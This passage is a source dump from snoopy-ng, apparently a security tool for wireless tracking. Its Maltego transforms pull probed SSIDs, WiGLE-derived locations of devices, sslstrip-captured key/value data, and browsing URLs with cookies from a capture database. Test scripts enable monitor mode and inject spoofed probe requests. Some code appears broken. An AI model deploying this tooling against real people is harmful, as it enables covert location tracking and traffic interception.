0: 68 | if duration != "": 69 | duration += ", " 70 | duration += "%s sec" % seconds 71 | if seconds > 1: 72 | duration +='s' 73 | observation = "Drone: %s\nLocation: %s\n(%s)" % (drone,location,duration) 74 | 75 | NewEnt=TRX.addEntity("snoopy.Observation", observation ) 76 | #NewEnt=TRX.addEntity("snoopy.DroneLocation", location) 77 | NewEnt.addAdditionalFields("location","location", "strict", location) 78 | NewEnt.addAdditionalFields("drone","drone", "strict", drone) 79 | NewEnt.addAdditionalFields("start_time", "start_time", "strict", start_time) 80 | NewEnt.addAdditionalFields("end_time", "end_time", "strict", end_time) 81 | if gps_c: 82 | NewEnt.addAdditionalFields("start_gps", "start_gps", "strict", str(firstGPS)) 83 | NewEnt.addAdditionalFields("end_gps", "end_gps", "strict", str(lastGPS)) 84 | NewEnt.addAdditionalFields("var_gps", "var_gps", "strict", str(latVariance+lonVariance)) 85 | 86 | 87 | TRX.returnOutput() 88 | 89 | main() 90 | -------------------------------------------------------------------------------- /transforms/fetchSSIDLocations.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | limit = 100 # Limit the number of SSID addresses returned. 20 | 21 | def main(): 22 | filters.append(wigle.c.ssid == ssid) 23 | filters.append(wigle.c.overflow == 0) 24 | s = select([wigle], and_(*filters)).distinct().limit(limit) 25 | 26 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 27 | r = db.execute(s) 28 | results = r.fetchall() 29 | logging.debug(results) 30 | 31 | TRX = MaltegoTransform() 32 | 33 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 34 | 35 | 36 | for address in results: 37 | if len(results) > 20: 38 | break 39 | #ssid = b64decode(ssid) 40 | #ssid=escape(ssid) 41 | #ssid = illegal_xml_re.sub('', ssid) 42 | logging.debug(type(address)) 43 | 44 | street_view_url1 = "http://maps.googleapis.com/maps/api/streetview?size=800x800&sensor=false&location=%s,%s" % (str(address['lat']),str(address['long'])) 45 | street_view_url2 = "https://maps.google.com/maps?q=&layer=c&cbp=11,0,0,0,0&cbll=%s,%s " % (str(address['lat']),str(address['long'])) 46 | map_url = "http://maps.google.com/maps?t=h&q=%s,%s"%(str(address['lat']),str(address['long'])) 47 | flag_img = "http://www.geognos.com/api/en/countries/flag/%s.png" % str(address['code']).upper() 48 | 49 | #NewEnt=TRX.addEntity("maltego.Location", address['shortaddress'].encode('utf-8')) 50 | NewEnt=TRX.addEntity("snoopy.ssidLocation", address['shortaddress'].encode('utf-8')) 51 | NewEnt.addAdditionalFields("city","city", "strict", address['city'].encode('utf-8')) 52 | NewEnt.addAdditionalFields("countrycode","countrycode", "strict", address['code'].encode('utf-8')) 53 | NewEnt.addAdditionalFields("country","country", "strict", address['country'].encode('utf-8')) 54 | NewEnt.addAdditionalFields("lat","lat", "strict", str(address['lat'])) 55 | NewEnt.addAdditionalFields("long","long", "strict", str(address['long'])) 56 | NewEnt.addAdditionalFields("longaddress","longaddress", "strict", address['longaddress'].encode('utf-8')) 57 | NewEnt.addAdditionalFields("location.areacode","Area Code", "strict", address['postcode']) 58 | NewEnt.addAdditionalFields("road","Road", "strict", address['road'].encode('utf-8')) 59 | NewEnt.addAdditionalFields("streetaddress","streetaddress", "strict", address['shortaddress'].encode('utf-8')) 60 | NewEnt.addAdditionalFields("ssid","SSID", "strict", address['ssid']) 61 | NewEnt.addAdditionalFields("state","State", "strict", address['state'].encode('utf-8')) 62 | NewEnt.addAdditionalFields("area","Area", "strict", address['suburb'].encode('utf-8')) 63 | 64 | NewEnt.addAdditionalFields("googleMap", "Google map", "nostrict", map_url) 65 | NewEnt.addAdditionalFields("streetView", "Street View", "nostrict", street_view_url2) 66 | 67 | #NewEnt.setIconURL(flag_img) 68 | logging.debug(street_view_url1) 69 | NewEnt.setIconURL(street_view_url1) 70 | 71 | 72 | NewEnt.addDisplayInformation("Click for map " % street_view_url2, "Street view") 73 | NewEnt.addDisplayInformation("one","two") 74 | 75 | #try: 76 | TRX.returnOutput() 77 | #except Exception,e: 78 | # print "RARRRR" 79 | # print e 80 | # print address 81 | # exit 82 | main() 83 | #me = MaltegoTransform() 84 | #me.addEntity("maltego.Phrase","hello bob") 85 | #me.returnOutput() 86 | -------------------------------------------------------------------------------- /transforms/fetchSSIDLocations_live.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | from wigle_api import Wigle 18 | 19 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 20 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 21 | 22 | def main(): 23 | # print "Content-type: xml\n\n"; 24 | # MaltegoXML_in = sys.stdin.read() 25 | # logging.debug(MaltegoXML_in) 26 | # if MaltegoXML_in <> '': 27 | # m = MaltegoMsg(MaltegoXML_in) 28 | 29 | TRX = MaltegoTransform() 30 | TRX.parseArguments(sys.argv) 31 | #ssid = TRX.getVar("ssid") 32 | logging.debug(ssid) 33 | logging.debug(type(ssid)) 34 | 35 | user = TRX.getVar("wigleUser") 36 | passw = TRX.getVar("wiglePass") 37 | email = TRX.getVar("wigleEmail") 38 | proxy = TRX.getVar("wigleProxy") 39 | 40 | if not user or not passw or not email: 41 | print "ERROR: Please supply Wigle credentials in the 'Property View' on the right --->" 42 | exit(-1) 43 | 44 | wig=Wigle(user, passw, email, proxy) 45 | if not wig.login(): 46 | print "ERROR: Unable to login to Wigle with supplied wigle creds. Please check them." 47 | exit(-1) 48 | locations = wig.lookupSSID(ssid) 49 | if 'error' in locations: 50 | print "ERROR: Unable to query Wigle. Perhaps your IP/user is shunned. Error was '%s'" % locations 51 | exit(-1) 52 | 53 | for address in locations: 54 | if len(locations) > 20: 55 | break 56 | #ssid = b64decode(ssid) 57 | #ssid=escape(ssid) 58 | #ssid = illegal_xml_re.sub('', ssid) 59 | logging.debug(type(address)) 60 | 61 | street_view_url1 = "http://maps.googleapis.com/maps/api/streetview?size=800x800&sensor=false&location=%s,%s" % (str(address['lat']),str(address['long'])) 62 | street_view_url2 = "https://maps.google.com/maps?q=&layer=c&cbp=11,0,0,0,0&cbll=%s,%s " % (str(address['lat']),str(address['long'])) 63 | map_url = "http://maps.google.com/maps?t=h&q=%s,%s"%(str(address['lat']),str(address['long'])) 64 | flag_img = "http://www.geognos.com/api/en/countries/flag/%s.png" % str(address['code']).upper() 65 | 66 | #NewEnt=TRX.addEntity("maltego.Location", address['shortaddress'].encode('utf-8')) 67 | NewEnt=TRX.addEntity("snoopy.ssidLocation", address['shortaddress'].encode('utf-8')) 68 | NewEnt.addAdditionalFields("city","city", "strict", address['city'].encode('utf-8')) 69 | NewEnt.addAdditionalFields("countrycode","countrycode", "strict", address['code'].encode('utf-8')) 70 | NewEnt.addAdditionalFields("country","country", "strict", address['country'].encode('utf-8')) 71 | NewEnt.addAdditionalFields("lat","lat", "strict", str(address['lat'])) 72 | NewEnt.addAdditionalFields("long","long", "strict", str(address['long'])) 73 | NewEnt.addAdditionalFields("longaddress","longaddress", "strict", address['longaddress'].encode('utf-8')) 74 | NewEnt.addAdditionalFields("location.areacode","Area Code", "strict", address['postcode']) 75 | NewEnt.addAdditionalFields("road","Road", "strict", address['road'].encode('utf-8')) 76 | NewEnt.addAdditionalFields("streetaddress","streetaddress", "strict", address['shortaddress'].encode('utf-8')) 77 | NewEnt.addAdditionalFields("ssid","SSID", "strict", address['ssid']) 78 | NewEnt.addAdditionalFields("state","State", "strict", address['state'].encode('utf-8')) 79 | NewEnt.addAdditionalFields("area","Area", "strict", address['suburb'].encode('utf-8')) 80 | 81 | NewEnt.addAdditionalFields("googleMap", "Google map", "nostrict", map_url) 82 | NewEnt.addAdditionalFields("streetView", "Street View", "nostrict", street_view_url2) 83 | 84 | #NewEnt.setIconURL(flag_img) 85 | logging.debug(street_view_url1) 86 | NewEnt.setIconURL(street_view_url1) 87 | 88 | NewEnt.addDisplayInformation("Click for map " % street_view_url2, "Street view") 89 | 90 | TRX.returnOutput() 91 | 92 | main() 93 | -------------------------------------------------------------------------------- /transforms/fetchSSIDs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | # print "Content-type: xml\n\n"; 21 | # MaltegoXML_in = sys.stdin.read() 22 | # logging.debug(MaltegoXML_in) 23 | # if MaltegoXML_in <> '': 24 | # m = MaltegoMsg(MaltegoXML_in) 25 | 26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 27 | filters.append(ssids.c.mac==mac) 28 | s = select([ssids.c.ssid], and_(*filters)) 29 | 30 | 31 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 32 | r = db.execute(s) 33 | results = r.fetchall() 34 | results = [t[0] for t in results] 35 | TRX = MaltegoTransform() 36 | 37 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 38 | 39 | 40 | for ssid in results: 41 | #ssid = b64decode(ssid) 42 | ssid=escape(ssid) 43 | ssid = illegal_xml_re.sub('', ssid) 44 | 45 | if not ssid.isspace() and ssid: 46 | NewEnt=TRX.addEntity("snoopy.SSID", ssid) 47 | NewEnt.addAdditionalFields("properties.ssid","ssid", "strict",ssid) 48 | 49 | TRX.returnOutput() 50 | 51 | main() 52 | #me = MaltegoTransform() 53 | #me.addEntity("maltego.Phrase","hello bob") 54 | #me.returnOutput() 55 | -------------------------------------------------------------------------------- /transforms/fetchSSLStrip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | # print "Content-type: xml\n\n"; 21 | # MaltegoXML_in = sys.stdin.read() 22 | # logging.debug(MaltegoXML_in) 23 | # if MaltegoXML_in <> '': 24 | # m = MaltegoMsg(MaltegoXML_in) 25 | global TRX 26 | ip = TRX.getVar("properties.client_ip") 27 | if TRX.getVar("client_ip"): 28 | ip = TRX.getVar("client_ip") 29 | 30 | domain = TRX.getVar("domain") 31 | 32 | filters = [] 33 | 34 | if ip: 35 | filters.append( sslstrip.c.client == ip ) 36 | if domain: 37 | filters.append( sslstrip.c.domain == domain) 38 | 39 | s = select([sslstrip.c.key, sslstrip.c.value], and_(*filters)).distinct() 40 | results = db.execute(s).fetchall() 41 | 42 | for res in results: 43 | key, value = res 44 | NewEnt=TRX.addEntity("snoopy.sslstripResult", key) 45 | NewEnt.addAdditionalFields("key","key", "strict", value) 46 | NewEnt.addAdditionalFields("value","Value", "strict", value) 47 | 48 | TRX.returnOutput() 49 | 50 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 51 | filters = [] 52 | 53 | filters.extend( (leases.c.mac == mac, sslstrip.c.client == leases.c.ip)) 54 | 55 | if domain: 56 | filters.append( sslstrip.c.domain == domain ) 57 | s = select([sslstrip.c.domain, leases.c.mac, leases.c.ip], and_(*filters)) 58 | r = db.execute(s) 59 | results = r.fetchall() 60 | TRX = MaltegoTransform() 61 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 62 | 63 | for res in results: 64 | domain, client_mac, client_ip = res 65 | NewEnt=TRX.addEntity("snoopy.Site", domain) 66 | NewEnt.addAdditionalFields("domain","domain", "strict",domain) 67 | NewEnt.addAdditionalFields("mac","Client Mac", "strict",client_mac) 68 | NewEnt.addAdditionalFields("client_ip","Client IP", "strict",client_ip) 69 | 70 | TRX.returnOutput() 71 | 72 | main() 73 | #me = MaltegoTransform() 74 | #me.addEntity("maltego.Phrase","hello bob") 75 | #me.returnOutput() 76 | -------------------------------------------------------------------------------- /transforms/fetchURL.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # dominic@sensepost.com 4 | # snoopy_ng // 2014 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | # print "Content-type: xml\n\n"; 21 | # MaltegoXML_in = sys.stdin.read() 22 | # logging.debug(MaltegoXML_in) 23 | # if MaltegoXML_in <> '': 24 | # m = MaltegoMsg(MaltegoXML_in) 25 | 26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 27 | filters = [] 28 | filters.append(weblogs.c.client_ip==ip) 29 | s = select([weblogs.c.full_url, weblogs.c.cookies], and_(*filters)) 30 | logging.debug(s) 31 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 32 | r = db.execute(s) 33 | results = r.fetchall() 34 | #logging.debug(results) 35 | #results = [t[0] for t in results] 36 | TRX = MaltegoTransform() 37 | 38 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 39 | 40 | 41 | for res in results: 42 | logging.debug(res) 43 | url, cookies = res 44 | #logging.debug(cookies) 45 | NewEnt=TRX.addEntity("maltego.URL", url) 46 | NewEnt.addAdditionalFields("url","URL", "strict",url) 47 | 48 | TRX.returnOutput() 49 | 50 | main() 51 | #me = MaltegoTransform() 52 | #me.addEntity("maltego.Phrase","hello bob") 53 | #me.returnOutput() 54 | -------------------------------------------------------------------------------- /transforms/fetchUserAgent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # dominic@sensepost.com_ 4 | # snoopy_ng // 2014 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | # print "Content-type: xml\n\n"; 21 | # MaltegoXML_in = sys.stdin.read() 22 | # logging.debug(MaltegoXML_in) 23 | # if MaltegoXML_in <> '': 24 | # m = MaltegoMsg(MaltegoXML_in) 25 | 26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 27 | filters = [] 28 | filters.append(weblogs.c.client_ip==ip) 29 | s = select([weblogs.c.useragent], and_(*filters)) 30 | logging.debug(s) 31 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 32 | r = db.execute(s) 33 | results = r.fetchall() 34 | logging.debug(results) 35 | #results = [t[0] for t in results] 36 | TRX = MaltegoTransform() 37 | 38 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 39 | 40 | for ua in results: 41 | logging.debug(ua) 42 | if str(ua).find('None') < 1: 43 | NewEnt=TRX.addEntity("snoopy.useragent", str(ua)) 44 | NewEnt.addAdditionalFields("ip","Client IP", "strict",ip) 45 | 46 | TRX.returnOutput() 47 | 48 | main() 49 | #me = MaltegoTransform() 50 | #me.addEntity("maltego.Phrase","hello bob") 51 | #me.returnOutput() 52 | -------------------------------------------------------------------------------- /transforms/snoopy_entities.mtz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/transforms/snoopy_entities.mtz -------------------------------------------------------------------------------- /uat/monitor_mode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from subprocess import Popen, call, PIPE 4 | import os 5 | #from sys import stdout, stdin # Flushing 6 | import re 7 | import logging 8 | 9 | #logging.basicConfig(level=logging.DEBUG, 10 | # format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 11 | # datefmt='%Y-%m-%d %H:%M:%S') 12 | 13 | DN = open(os.devnull, 'w') 14 | 15 | def enable_monitor_mode(iface=''): 16 | #First, disable all existing monitor interfaces 17 | disable_monitor_mode() 18 | #If not specified, take the last wireless interface. 19 | if not iface: 20 | proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) 21 | for line in proc.communicate()[0].split('\n'): 22 | if 'phy' in line and not line.startswith("mon"): 23 | iface=re.split(r"\s",line)[0] 24 | if iface: 25 | logging.debug("Enabling monitor mode on '%s'"%iface) 26 | call(['airmon-ng', 'check', 'kill'], stdout=DN, stderr=DN) 27 | call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN) 28 | monif = get_monitor_iface() 29 | if monif: 30 | logging.debug("Enabled monitor mode '%s'"%monif[0]) 31 | return monif[0] 32 | else: 33 | logging.debug("No wireless interface supporting monitor mode found") 34 | return None 35 | 36 | def disable_monitor_mode(iface=''): 37 | #Disable all monitor interfaces 38 | if not iface: 39 | for device in get_monitor_iface(): 40 | disable_monitor_mode(device) 41 | #call(['airmon-ng', 'stop', device], stdout=DN, stderr=DN) 42 | else: 43 | logging.debug("Disabling monitor mode on '%s'"%iface) 44 | call(['airmon-ng', 'stop', iface], stdout=DN, stderr=DN) 45 | 46 | def get_monitor_iface(): 47 | proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) 48 | iface = '' 49 | monitors = [] 50 | for line in proc.communicate()[0].split('\n'): 51 | if len(line) == 0: continue 52 | if ord(line[0]) != 32: # Doesn't start with space 53 | iface = line[:line.find(' ')] # is the interface 54 | if line.find('Mode:Monitor') != -1: 55 | monitors.append(iface) 56 | return monitors 57 | -------------------------------------------------------------------------------- /uat/traffgen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from scapy.all import * 3 | import time 4 | import random 5 | import binascii 6 | import hashlib 7 | import datetime 8 | import sys 9 | import monitor_mode 10 | import random 11 | 12 | ssid="helloWorld" 13 | f=open('log_traffic.txt','w') 14 | rand_ssid = True 15 | 16 | words=[] 17 | if rand_ssid: 18 | f2=open('words.txt') 19 | words=f2.readlines() 20 | words = [x.rstrip() for x in words] 21 | 22 | def rand_mac(): 23 | return ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x16, 0x3E, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF), random.randint(0x00, 0xFF) ])) 24 | 25 | def generate_new_macs(num): 26 | """Generate random mac address list""" 27 | tmp_mac_addresses=[] 28 | for i in range(num): 29 | tmp_mac_addresses.append(rand_mac()) 30 | return tmp_mac_addresses 31 | 32 | def make_traffic(num_macs=10, run_time=30, cull=0.9,iface="mon0"): 33 | assert(num_macs > 0) 34 | assert(cull <= 1.0) 35 | assert(run_time > 0) 36 | mac_addresses = {} 37 | packet_counter = 0 38 | cycle_count = 0 39 | mac_counter = {} 40 | num_to_remove = int(cull * num_macs) 41 | print "[+] Good day, sir. I will send probe request traffic from %d unique MAC addresses cycling %d of them every %s" %(num_macs,num_to_remove,str(datetime.timedelta(seconds=run_time))) 42 | while True: 43 | if mac_addresses: 44 | for i in range( num_to_remove ): 45 | mac_addresses.pop() 46 | mac_addresses = mac_addresses + generate_new_macs(num_to_remove) 47 | #mac_counter += num_to_remove 48 | else: 49 | mac_addresses = generate_new_macs(num_macs) 50 | start_time = int(os.times()[4]) 51 | current_time = start_time 52 | while start_time + run_time > current_time: 53 | random.shuffle(mac_addresses) 54 | for mac in mac_addresses: 55 | mac_counter[mac] = 1 56 | print "\r[+] Sent a total of %d packets from %d unique MAC addresses so far (cycled MACs %d times)" % (packet_counter, len(mac_counter), cycle_count), 57 | sys.stdout.flush() 58 | if rand_ssid: 59 | rnd = random.randint(0,len(words)-1) 60 | ssid = words[rnd] 61 | p=RadioTap()/Dot11(addr1='ff:ff:ff:ff:ff:ff', addr3='ff:ff:ff:ff:ff:ff',addr2=mac)/Dot11ProbeReq() / Dot11Elt(ID='SSID', info=ssid) 62 | for i in range(random.randint(3,5)): 63 | sendp(p, iface=iface, verbose=0) 64 | packet_counter += 1 65 | current_time = int(os.times()[4]) 66 | time.sleep(5) 67 | cycle_count+=1 68 | time.sleep(0.4) 69 | 70 | def main(): 71 | iface = monitor_mode.enable_monitor_mode() 72 | make_traffic(200, 2*60, 0.8,iface) #Generate N macs, traffic for 30 minutes, then generate new macs with 90% overlap 73 | 74 | if __name__ == "__main__": 75 | main() 76 | --------------------------------------------------------------------------------